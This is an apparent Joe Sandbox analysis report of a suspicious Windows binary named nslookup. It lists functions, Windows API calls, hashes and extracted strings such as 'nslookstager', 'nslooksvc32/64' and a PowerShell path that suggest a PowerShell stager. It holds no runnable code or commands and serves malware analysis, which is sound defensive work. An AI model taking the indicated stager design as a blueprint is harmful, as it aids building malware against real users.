Part of subcall function 00000001400011D0: lstrlenW.KERNEL32 ref: 0000000140001308
Part of subcall function 00000001400011D0: StrStrIW.SHLWAPI ref: 000000014000137C

Part of subcall function 00000001400011D0: StrStrIW.SHLWAPI ref: 00000001400013A8
Part of subcall function 00000001400011D0: lstrlenW.KERNEL32 ref: 00000001400013C2
Part of subcall function 00000001400011D0: StrStrIW.SHLWAPI ref: 000000014000142A
Part of subcall function 00000001400011D0: StrStrIW.SHLWAPI ref: 0000000140001458
Part of subcall function 00000001400011D0: lstrlenW.KERNEL32 ref: 0000000140001472
Part of subcall function 00000001400011D0: StrStrIW.SHLWAPI ref: 00000001400014DA

Part of subcall function 0000000140001FC0: CoInitialize.OLE32 ref: 0000000140001FE0
Part of subcall function 0000000140001FC0: CoCreateInstance.OLE32 ref: 0000000140002016
Part of subcall function 0000000140001FC0: CoUninitialize.OLE32 ref: 000000014000203F

Part of subcall function 0000000140001CE0: CoInitialize.OLE32 ref: 0000000140001D0E
Part of subcall function 0000000140001CE0: CoCreateInstance.OLE32 ref: 0000000140001D4A

Part of subcall function 0000000140001EE0: CoInitialize.OLE32 ref: 0000000140001F00
Part of subcall function 0000000140001EE0: CoCreateInstance.OLE32 ref: 0000000140001F3A
Part of subcall function 0000000140001EE0: CoUninitialize.OLE32 ref: 0000000140001F8D

Strings

nslookstager, xrefs: 00000001400010BA, 0000000140001113
C:\Windows\SysWOW64\WindowsPowerShell\v1.0, xrefs: 0000000140001152
nslooksvc64, xrefs: 0000000140001175, 000000014000118B, 000000014000119B
nslooksvc32, xrefs: 0000000140001140, 0000000140001159, 0000000140001169
SOFTWARE, xrefs: 0000000140001081, 00000001400010EA
EXE, xrefs: 0000000140001024

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID: lstrcat$Resource$ConditionCreateInitializeInstanceMasklstrlen$OpenUninitializeValue$FindInfoLoadLockSizeofVerifyVersionlstrcpy
String ID: C:\Windows\SysWOW64\WindowsPowerShell\v1.0$EXE$SOFTWARE$nslookstager$nslooksvc32$nslooksvc64
API String ID: 4274016003-783316529
Opcode ID: 18d06a2ddba282ea4376cf9ce3791064666aa5ab65ed9ec89cdded3e60b0d305
Instruction ID: f4174b4eb31990f1079580296cf164b7a62c6f1b6a0cee9ae74924327a9c0852
Opcode Fuzzy Hash: 18d06a2ddba282ea4376cf9ce3791064666aa5ab65ed9ec89cdded3e60b0d305
Instruction Fuzzy Hash: 4C4159B5325A4181FB56EB23F8567DA23A0FB8C7C5F841125BB4A4BAF5EE39C104C700

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400021B8 Relevance: 3.0, APIs: 2, Instructions: 18
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNELBASE ref: 00000001400021C1
_invalid_parameter_noinfo.LIBCMT ref: 0000000140004FEC

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID: ExceptionFilterUnhandled_invalid_parameter_noinfo
String ID:
API String ID: 59578552-0
Opcode ID: 95cd06912afec0fbb9d61b68d8146c6cdd787134d803784d260b7056c70e2e11
Instruction ID: c92f7cab6b7b37efa7c73ce1c18968b7ed43de86ec2d32a3002d8ea4f202b9b8
Opcode Fuzzy Hash: 95cd06912afec0fbb9d61b68d8146c6cdd787134d803784d260b7056c70e2e11
Instruction Fuzzy Hash: D8E0ECF0E1514286F62FF77728523FD21911B4E3A0F600236B321472F3C93D45969A26

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400021D4 Relevance: 10.6, APIs: 7, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00000001400021E3

Part of subcall function 00000001400027D4: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000001400027F6

__scrt_acquire_startup_lock.LIBCMT ref: 00000001400021F8
__scrt_release_startup_lock.LIBCMT ref: 0000000140002266
__scrt_get_show_window_mode.LIBCMT ref: 00000001400022B9
__scrt_is_managed_app.LIBCMT ref: 00000001400022DC
__scrt_fastfail.LIBCMT ref: 0000000140002325
__scrt_fastfail.LIBCMT ref: 0000000140002330

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID: __scrt_fastfail$__scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock
String ID:
API String ID: 2735655165-0
Opcode ID: bfa21ae437cee570d5880912c16ca5dfbbe9ea07462fb15988f602eba6af7acb
Instruction ID: 9ada0fb4646a4d2952ff16a43c619abef58bc75c83c31e204f1cfd95f41b0cb1
Opcode Fuzzy Hash: bfa21ae437cee570d5880912c16ca5dfbbe9ea07462fb15988f602eba6af7acb
Instruction Fuzzy Hash: 3B315CF120424085FB2BFBA7F4663E92391AB8D7C4F844425BB490B2F7DE7C89458345

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001CE0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32 ref: 0000000140001D0E
CoCreateInstance.OLE32 ref: 0000000140001D4A
CoUninitialize.OLE32 ref: 0000000140001EAB

Strings

powershell, xrefs: 0000000140001DA4

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize
String ID: powershell
API String ID: 948891078-744010106
Opcode ID: b5d47aab0c085fc6f5d0370f14531f9d0463baa0622061f89ae37b7216d2e8f1
Instruction ID: 2fcec20f5785c010c2d9eaa8757f35663b4795c3a44e5225b6b59df6a9f9c17c
Opcode Fuzzy Hash: b5d47aab0c085fc6f5d0370f14531f9d0463baa0622061f89ae37b7216d2e8f1
Instruction Fuzzy Hash: 6751D2B2B10A848AE701CF76E8903DD27B5FB88B88F409526EF0D57B28DE39C549C750

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001EE0 Relevance: 4.6, APIs: 3, Instructions: 54
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32 ref: 0000000140001F00
CoCreateInstance.OLE32 ref: 0000000140001F3A
CoUninitialize.OLE32 ref: 0000000140001F8D

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize
String ID:
API String ID: 948891078-0
Opcode ID: 144a28b6247699ecfe010d9c5c1f4eea69182a90e0887a0d8fa9fb2f193fc2e9
Instruction ID: 0427675daa315fdb8553ced8e820fd3e15db155abe1ee950faa45d10833de8c1
Opcode Fuzzy Hash: 144a28b6247699ecfe010d9c5c1f4eea69182a90e0887a0d8fa9fb2f193fc2e9
Instruction Fuzzy Hash: 2E21C272324B4082E745DF26E88439AB7A5FB88BC4F545026FB8A47B68CF39C449CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001FC0 Relevance: 4.5, APIs: 3, Instructions: 43
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32 ref: 0000000140001FE0
CoCreateInstance.OLE32 ref: 0000000140002016
CoUninitialize.OLE32 ref: 000000014000203F

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize
String ID:
API String ID: 948891078-0
Opcode ID: 0b35923ad0aeec620d72df6b515b73cd9e2fc39d8636088f6dca6bfc77913bfd
Instruction ID: 9c4b1c2941aaf74d21b9dc9fe37141ce250f59d114b31ab7be841ef7d617465f
Opcode Fuzzy Hash: 0b35923ad0aeec620d72df6b515b73cd9e2fc39d8636088f6dca6bfc77913bfd
Instruction Fuzzy Hash: 10111872324B8082E745DF26F88438AB7A5F788BC0F44502ABB8A47B79CE39C4498740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140004D54 Relevance: 4.5, APIs: 3, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0000000140004D7D
TerminateProcess.KERNEL32 ref: 0000000140004D88
ExitProcess.KERNEL32 ref: 0000000140004D97

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 14e9036ce327040b94fd85b8ac967896ce5c021694fa9181fe595ec70ada6e5e
Instruction ID: bfd4a3926dd071484392c8d5d915de2a2885e5859fdf3ea43dc741f6632be3bf
Opcode Fuzzy Hash: 14e9036ce327040b94fd85b8ac967896ce5c021694fa9181fe595ec70ada6e5e
Instruction Fuzzy Hash: 11E04FF030074482FB6AEB32BC853E92356A78C781F10442DEA4683377CD39C4888711

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140004C98 Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 0000000140004CB7

Part of subcall function 0000000140004DA0: GetModuleHandleExW.KERNEL32 ref: 0000000140004DBC
Part of subcall function 0000000140004DA0: GetProcAddress.KERNEL32 ref: 0000000140004DD2
Part of subcall function 0000000140004DA0: FreeLibrary.KERNEL32 ref: 0000000140004DEF

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: fce81a9c2fcaf56bb6d8420e324a8bfe5ae2be528d4233720d6a25828c74dc0e
Instruction ID: a7743bdd3df87c81feb5d2f0f613f43867c0dc9b6288f7dd08c2f7f9cd14b3ce
Opcode Fuzzy Hash: fce81a9c2fcaf56bb6d8420e324a8bfe5ae2be528d4233720d6a25828c74dc0e
Instruction Fuzzy Hash: 34216FB2A017408AFB66DF79E4447EC37B1E348748F44453BEB1903AA6DB38C589CB44

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0000000140005D5C Relevance: 9.1, APIs: 6, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCaptureContext.KERNEL32 ref: 0000000140005DD5
RtlLookupFunctionEntry.KERNEL32 ref: 0000000140005DED
RtlVirtualUnwind.KERNEL32 ref: 0000000140005E28
IsDebuggerPresent.KERNEL32 ref: 0000000140005E61
SetUnhandledExceptionFilter.KERNEL32 ref: 0000000140005E6B
UnhandledExceptionFilter.KERNEL32 ref: 0000000140005E76

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 2c2c038a5e3b1d1c29b39802070b86fbb721499a45cafe52499a78438e435fec
Instruction ID: 313c86ce64bb363a182cb27f5b8d9412f177a72ccfbb8e8da6b1dd424d2ca086
Opcode Fuzzy Hash: 2c2c038a5e3b1d1c29b39802070b86fbb721499a45cafe52499a78438e435fec
Instruction Fuzzy Hash: CC315B76214B8086EB65CF26E8443DE73A4F789798F540126EB9D43BA9EF38C255CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000014000AABC Relevance: 7.8, APIs: 5, Instructions: 321
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleCP.KERNEL32 ref: 000000014000AB2B
WriteFile.KERNEL32 ref: 000000014000ADD5
WriteFile.KERNEL32 ref: 000000014000AE27
GetLastError.KERNEL32 ref: 000000014000AF69
GetLastError.KERNEL32 ref: 000000014000AF7B

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID: ErrorFileLastWrite$Console
String ID:
API String ID: 786612050-0
Opcode ID: 5ef7af1087c7a8e7be48e6a1a11f233fb9ac17ba864c51c4cfe5f2149e5c165a
Instruction ID: 4e0cce11ff5bdaad7a6fa391402917eead13af23a9c8943a5cb00a957416bb6d
Opcode Fuzzy Hash: 5ef7af1087c7a8e7be48e6a1a11f233fb9ac17ba864c51c4cfe5f2149e5c165a
Instruction Fuzzy Hash: A1D1A0B2708B809AE712CF66E5443DD7BB1F74A7D8F544116EF8A47BA9DA38C15AC300

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400090E0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000001400090E4

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 3760536023a7a0084f9fc1ebc8d6c4dc72fe2e3b26b8e374d52cd2af3f56d882
Instruction ID: 564bafd1356223e0270d8fb72979979ce2df0dd9880f0a2c7fe947bf55706a67
Opcode Fuzzy Hash: 3760536023a7a0084f9fc1ebc8d6c4dc72fe2e3b26b8e374d52cd2af3f56d882
Instruction Fuzzy Hash: 18B09234A0BA81C6EA0E6B126C8274422A97B8C750F880218920C52330EB3C00E59700

Uniqueness

Uniqueness Score: -1.00%

Function 000000014000C920 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4261abdbcd26093a6e0c2dd9261226f3ff1e7d4d7e2fc6fb0bd964c57ed1ffb9
Instruction ID: a2cec381f1c5cb8935c8b70a36dfce7d1d7a3b9e76f8d16719536bd815b34dfe
Opcode Fuzzy Hash: 4261abdbcd26093a6e0c2dd9261226f3ff1e7d4d7e2fc6fb0bd964c57ed1ffb9
Instruction Fuzzy Hash: D1F096B27242948BDBAACF2DB85275A77D0F30C3C4F908119E78987B24D63D8061CF48

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140002CF4 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c1445caa26a304b072041e646faa6bb23e053680ea32fdadc8cf75a4cc13650
Instruction ID: 5b00e86444f2859e0b22f1a0897cc4d4fae77e71b4415575e1e698819c97bd67
Opcode Fuzzy Hash: 8c1445caa26a304b072041e646faa6bb23e053680ea32fdadc8cf75a4cc13650
Instruction Fuzzy Hash: 86A002B1504C40D0E60ACB02F9917D02330F35C380F410852E319530709B389940C300

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140003820 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 00000001400038A3
GetLastError.KERNEL32 ref: 00000001400038B1
LoadLibraryExW.KERNEL32 ref: 00000001400038DB
FreeLibrary.KERNEL32 ref: 0000000140003921
GetProcAddress.KERNEL32 ref: 000000014000392D

Strings

api-ms-, xrefs: 00000001400038C3

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 6045ad0de31efca1e8ddcb94de0b9ffcd58d6314be4217ecc2448b59dce27053
Instruction ID: 49beb89a20b18df71a33c33b7a3a8e3fc9d9e10673a02e5114614379e008e528
Opcode Fuzzy Hash: 6045ad0de31efca1e8ddcb94de0b9ffcd58d6314be4217ecc2448b59dce27053
Instruction Fuzzy Hash: 71316FB1312B80A5EE27DB57B800BD92398B74DBE4F594525FF190B7A4DF78C4458300

Uniqueness

Uniqueness Score: -1.00%

Function 000000014000C41C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteConsoleW.KERNEL32 ref: 000000014000C44D
GetLastError.KERNEL32 ref: 000000014000C459
CloseHandle.KERNEL32 ref: 000000014000C471
CreateFileW.KERNEL32 ref: 000000014000C49C
WriteConsoleW.KERNEL32 ref: 000000014000C4BB

Strings

CONOUT$, xrefs: 000000014000C47D

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: c759f43656eec14f9d398298c1d30b55af2a55c7f1851b28e09130a7d46b6a73
Instruction ID: 923caa0e392d4f45285b0686346bff61248c576a77600dd6e13b5043df0f14dd
Opcode Fuzzy Hash: c759f43656eec14f9d398298c1d30b55af2a55c7f1851b28e09130a7d46b6a73
Instruction Fuzzy Hash: 5C116D72314B8086E752CB57F894799A6A0F78CBE4F044224FB5D877B8CF78C9548740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140004DA0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleExW.KERNEL32 ref: 0000000140004DBC
GetProcAddress.KERNEL32 ref: 0000000140004DD2
FreeLibrary.KERNEL32 ref: 0000000140004DEF

Strings

mscoree.dll, xrefs: 0000000140004DB3
CorExitProcess, xrefs: 0000000140004DCB

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: e1846a0b891334940030055dbf380ec800fe262ad7f1bc0e145d31d485caaf6b
Instruction ID: 8492306c7ed3419d24c313d33fb5f1ef4de63788f1b71c91d435e29b1c35fa9b
Opcode Fuzzy Hash: e1846a0b891334940030055dbf380ec800fe262ad7f1bc0e145d31d485caaf6b
Instruction Fuzzy Hash: 36F0FEF1321A8091FB5ADB62F8943E92364AB4C7D4F44542ABA0B475B5DF78C588D710

Uniqueness

Uniqueness Score: -1.00%

Function 000000014000B408 Relevance: 7.7, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000000014000B449
GetConsoleMode.KERNEL32 ref: 000000014000B508
GetLastError.KERNEL32 ref: 000000014000B588

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 97f949b9dec87a4f783fd330df64fe45643b705181f7f57e1fcccf984a314c0e
Instruction ID: 72f7c70e39e96c1ec9cf5fa7c31995bb42b818f75ad30bfd369313822aa96c95
Opcode Fuzzy Hash: 97f949b9dec87a4f783fd330df64fe45643b705181f7f57e1fcccf984a314c0e
Instruction Fuzzy Hash: 8881CEB2610A5089FB22DB67A8903ED27A1F74CBD8F444216FF0A677B6DB39C445C720

Uniqueness

Uniqueness Score: -1.00%

Function 000000014000C738 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000000014000C760
_set_statfp.LIBCMT ref: 000000014000C77B
_set_statfp.LIBCMT ref: 000000014000C797
_set_statfp.LIBCMT ref: 000000014000C7D3

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 58f5f06950dae238faf5d0a65635edd6898ff1f1bcbae38254af54016aa76da0
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 5011A3F6A7AA4102F6569326F495BED10406B5C7F0F644639BB6F177F78B348C414940

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140003688 Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000001400036A7
SetLastError.KERNEL32 ref: 000000014000372E

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 8656a106d4c9817e8e1a551f2c933fe0b836bd9259f6fbaf6c5506f33ba570a2
Instruction ID: 2d57453f70a64deaa991cab799ba55b0fe103d0fa8c7b0eeb897a7161e11cc0e
Opcode Fuzzy Hash: 8656a106d4c9817e8e1a551f2c933fe0b836bd9259f6fbaf6c5506f33ba570a2
Instruction Fuzzy Hash: 551142F071564186FA67D737B8403E962A96B8CBE0F184624BB690B7F5DA38C841C710

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400020AC Relevance: 6.1, APIs: 4, Instructions: 77COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00000001400020E4

Part of subcall function 0000000140002744: std::bad_alloc::bad_alloc.LIBCMT ref: 000000014000274D

_set_fmode.LIBCMT ref: 0000000140002107
_RTC_Initialize.LIBCMT ref: 0000000140002128
__scrt_fastfail.LIBCMT ref: 00000001400021A0

Part of subcall function 0000000140002B10: IsProcessorFeaturePresent.KERNEL32 ref: 0000000140002B2C
Part of subcall function 0000000140002B10: RtlCaptureContext.KERNEL32 ref: 0000000140002B58
Part of subcall function 0000000140002B10: RtlLookupFunctionEntry.KERNEL32 ref: 0000000140002B72
Part of subcall function 0000000140002B10: RtlVirtualUnwind.KERNEL32 ref: 0000000140002BB3
Part of subcall function 0000000140002B10: IsDebuggerPresent.KERNEL32 ref: 0000000140002C07
Part of subcall function 0000000140002B10: SetUnhandledExceptionFilter.KERNEL32 ref: 0000000140002C28
Part of subcall function 0000000140002B10: UnhandledExceptionFilter.KERNEL32 ref: 0000000140002C33

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureConcurrency::cancel_current_taskContextDebuggerEntryFeatureFunctionInitializeLookupProcessorUnwindVirtual__scrt_fastfail_set_fmodestd::bad_alloc::bad_alloc
String ID:
API String ID: 4205775026-0
Opcode ID: 533d34f75a32baddf874858a248d94ed1d3fb4b6976866ecf4ab9dc6987bca5e
Instruction ID: de25f2d7fef365bfdb4106195bb48a80c5a72a0156d31484ec0dca39fbf836f9
Opcode Fuzzy Hash: 533d34f75a32baddf874858a248d94ed1d3fb4b6976866ecf4ab9dc6987bca5e
Instruction Fuzzy Hash: AD21A7F071120646FA3BF7B375663ED02854F9E3D0F5509257B55476F3EE3888828226

Uniqueness

Uniqueness Score: -1.00%

Function 000000014000B1AC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000000014000B2C3
GetLastError.KERNEL32 ref: 000000014000B2E5

Strings

U, xrefs: 000000014000B26F

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 2de00f3eb9a2df1d326779606cc7aea3deb5c63bcc34c572884cf3809a07f388
Instruction ID: 42d9ef54df0ce910225696aaf683fad4515b6620bbea794134ed71533a3492dd
Opcode Fuzzy Hash: 2de00f3eb9a2df1d326779606cc7aea3deb5c63bcc34c572884cf3809a07f388
Instruction Fuzzy Hash: 7E41AFB2224A8086EB21CF66F8443EA67A1F7987D4F444121FF8D877A8EB38C545C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140006584 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000001400065BD
LCMapStringW.KERNEL32 ref: 0000000140006645

Strings

LCMapStringEx, xrefs: 00000001400065A0, 00000001400065B1

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 9537ffdc71471a46993a56b90ad88e4790806ac90779a68f31188fd0bc57f76d
Instruction ID: a924dbc47399a7b8f0a94b694f78285d8132746d6c5a34d56f997d11506566a2
Opcode Fuzzy Hash: 9537ffdc71471a46993a56b90ad88e4790806ac90779a68f31188fd0bc57f76d
Instruction Fuzzy Hash: 06110376608B808AD765CB56F48039AB7A5F78DBD0F54412AEFCD93B69CF38C4508B40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140003284 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00000001400032C8
RaiseException.KERNEL32 ref: 000000014000330E

Strings

csm, xrefs: 00000001400032FB

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 67304bbeda1e4893fd74bfa39ee2e51fb734d22883ca12e4281ecac6eee2f54d
Instruction ID: 186de5f2e5a876ebabc5f18cd00dc871777de6ab6166f4505022e890cd56db2e
Opcode Fuzzy Hash: 67304bbeda1e4893fd74bfa39ee2e51fb734d22883ca12e4281ecac6eee2f54d
Instruction Fuzzy Hash: 5811EC72214B8482EB66CF16F54039977A9F788BD4F584225EF8D07B68DF39C555CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140006520 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000000140006551
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000000014000656B

Strings

InitializeCriticalSectionEx, xrefs: 0000000140006545

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
